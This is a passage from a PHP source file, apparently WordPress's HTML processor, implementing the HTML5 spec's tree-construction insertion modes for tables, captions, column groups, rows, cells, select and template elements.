				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->state->active_formatting_elements->insert_marker();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
				return true;

			/*
			 * > A start tag whose tag name is "colgroup"
			 */
			case '+COLGROUP':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return true;

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->state->stack_of_open_elements->clear_to_table_context();

				/*
				 * > Insert an HTML element for a "colgroup" start tag token with no attributes,
				 * > then switch the insertion mode to "in column group".
				 */
				$this->insert_virtual_node( 'COLGROUP' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "td", "th", "tr"
			 */
			case '+TD':
			case '+TH':
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_context();
				/*
				 * > Insert an HTML element for a "tbody" start tag token with no attributes,
				 * > then switch the insertion mode to "in table body".
				 */
				$this->insert_virtual_node( 'TBODY' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "table"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is "table"
			 */
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "style", "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+STYLE':
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				/*
				 * > Process the token using the rules for the "in head" insertion mode.
				 */
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "input"
			 *
			 * > If the token does not have an attribute with the name "type", or if it does, but
			 * > that attribute's value is not an ASCII case-insensitive match for the string
			 * > "hidden", then: act as described in the "anything else" entry below.
			 */
			case '+INPUT':
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					goto anything_else;
				}
				// @todo Indicate a parse error once it's possible.
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+FORM':
				if (
					$this->state->stack_of_open_elements->has_element_in_scope( 'TEMPLATE' ) ||
					isset( $this->state->form_element )
				) {
					return $this->step();
				}

				// This FORM is special because it immediately closes and cannot have other children.
				$this->insert_html_element( $this->state->current_token );
				$this->state->form_element = $this->state->current_token;
				$this->state->stack_of_open_elements->pop();
				return true;
		}

		/*
		 * > Anything else
		 * > Parse error. Enable foster parenting, process the token using the rules for the
		 * > "in body" insertion mode, and then disable foster parenting.
		 *
		 * @todo Indicate a parse error once it's possible.
		 */
		anything_else:
		$this->bail( 'Foster parenting is not supported.' );
	}

	/**
	 * Parses next element in the 'in table text' insertion mode.
	 *
	 * This internal function performs the 'in table text' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_text(): bool {
		$this->bail( 'No support for parsing in the ' . WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT . ' state.' );
	}

	/**
	 * Parses next element in the 'in caption' insertion mode.
	 *
	 * This internal function performs the 'in caption' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_caption(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is "caption"
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 *
			 * These tag handling rules are identical except for the final instruction.
			 * Handle them in a single block.
			 */
			case '-CAPTION':
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'CAPTION' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'CAPTION' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'CAPTION' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;

				// If this is not a CAPTION end tag, the token should be reprocessed.
				if ( '-CAPTION' === $op ) {
					return true;
				}
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/**
			 * > An end tag whose tag name is one of: "body", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/**
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in column group' insertion mode.
	 *
	 * This internal function performs the 'in column group' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolgroup
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_column_group(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * > U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_column_group_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// @todo Indicate a parse error once it's possible.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > An end tag whose tag name is "colgroup"
			 */
			case '-COLGROUP':
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "col"
			 */
			case '-COL':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		in_column_group_anything_else:
		/*
		 * > Anything else
		 */
		if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
			// @todo Indicate a parse error once it's possible.
			return $this->step();
		}
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in table body' insertion mode.
	 *
	 * This internal function performs the 'in table body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_body(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_virtual_node( 'TR' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '-TABLE':
				if (
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TBODY' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'THEAD' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TFOOT' )
				) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * > Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in row' insertion mode.
	 *
	 * This internal function performs the 'in row' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intr
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_row(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
				$this->state->active_formatting_elements->insert_marker();
				return true;

			/*
			 * > An end tag whose tag name is "tr"
			 */
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in cell' insertion mode.
	 *
	 * This internal function performs the 'in cell' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intd
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_cell(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is one of: "td", "th"
			 */
			case '-TD':
			case '-TH':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();

				/*
				 * @todo This needs to check if the current node is an HTML element, meaning that
				 *       when SVG and MathML support is added, this needs to differentiate between an
				 *       HTML element of the given name, such as `<center>`, and a foreign element of
				 *       the same given name.
				 */
				if ( ! $this->state->stack_of_open_elements->current_node_is( $tag_name ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( $tag_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td",
			 * > "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				/*
				 * > Assert: The stack of open elements has a td or th element in table scope.
				 *
				 * Nothing to do here, except to verify in tests that this never appears.
				 */

				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is one of: "table", "tbody", "tfoot", "thead", "tr"
			 */
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in select' insertion mode.
	 *
	 * This internal function performs the 'in select' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > Any other character token
			 */
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * If a text node only comprises null bytes then it should be
				 * entirely ignored and should not return to calling code.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "option"
			 */
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "optgroup"
			 * > A start tag whose tag name is "hr"
			 *
			 * These rules are identical except for the treatment of the self-closing flag and
			 * the subsequent pop of the HR void element, all of which is handled elsewhere in the processor.
			 */
			case '+OPTGROUP':
			case '+HR':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "optgroup"
			 */
			case '-OPTGROUP':
				$current_node = $this->state->stack_of_open_elements->current_node();
				if ( $current_node && 'OPTION' === $current_node->node_name ) {
					foreach ( $this->state->stack_of_open_elements->walk_up( $current_node ) as $parent ) {
						break;
					}
					if ( $parent && 'OPTGROUP' === $parent->node_name ) {
						$this->state->stack_of_open_elements->pop();
					}
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "option"
			 */
			case '-OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "select"
			 * > A start tag whose tag name is "select"
			 *
			 * > It just gets treated like an end tag.
			 */
			case '-SELECT':
			case '+SELECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > A start tag whose tag name is one of: "input", "keygen", "textarea"
			 *
			 * All three of these tags are considered a parse error when found in this insertion mode.
			 */
			case '+INPUT':
			case '+KEYGEN':
			case '+TEXTAREA':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		/*
		 * > Anything else
		 * >   Parse error: ignore the token.
		 */
		return $this->step();
	}

	/**
	 * Parses next element in the 'in select in table' insertion mode.
	 *
	 * This internal function performs the 'in select in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '+CAPTION':
			case '+TABLE':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '+TD':
			case '+TH':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '-CAPTION':
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
			case '-TD':
			case '-TH':
				// @todo Indicate a parse error once it's possible.
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $token_name ) ) {
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 */
		return $this->step_in_select();
	}

	/**
	 * Parses next element in the 'in template' insertion mode.
	 *
	 * This internal function performs the 'in template' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_template(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = $this->is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token
			 * > A comment token
			 * > A DOCTYPE token
			 */
			case '#text':
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case 'html':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is one of: "caption", "colgroup", "tbody", "tfoot", "thead"
			 */
			case '+CAPTION':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "td", "th"
			 */
			case '+TD':
			case '+TH':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $is_closer ) {
			array_pop( $this->state->stack_of_template_insertion_modes );
			$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > An end-of-file token
		 */
		if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
			// Stop parsing.
			return false;
		}

		// @todo Indicate a parse error once it's possible.
		$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		array_pop( $this->state->stack_of_template_insertion_modes );
		$this->reset_insertion_mode_appropriately();
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after body' insertion mode.
	 *
	 * This internal function performs the 'after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_body_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
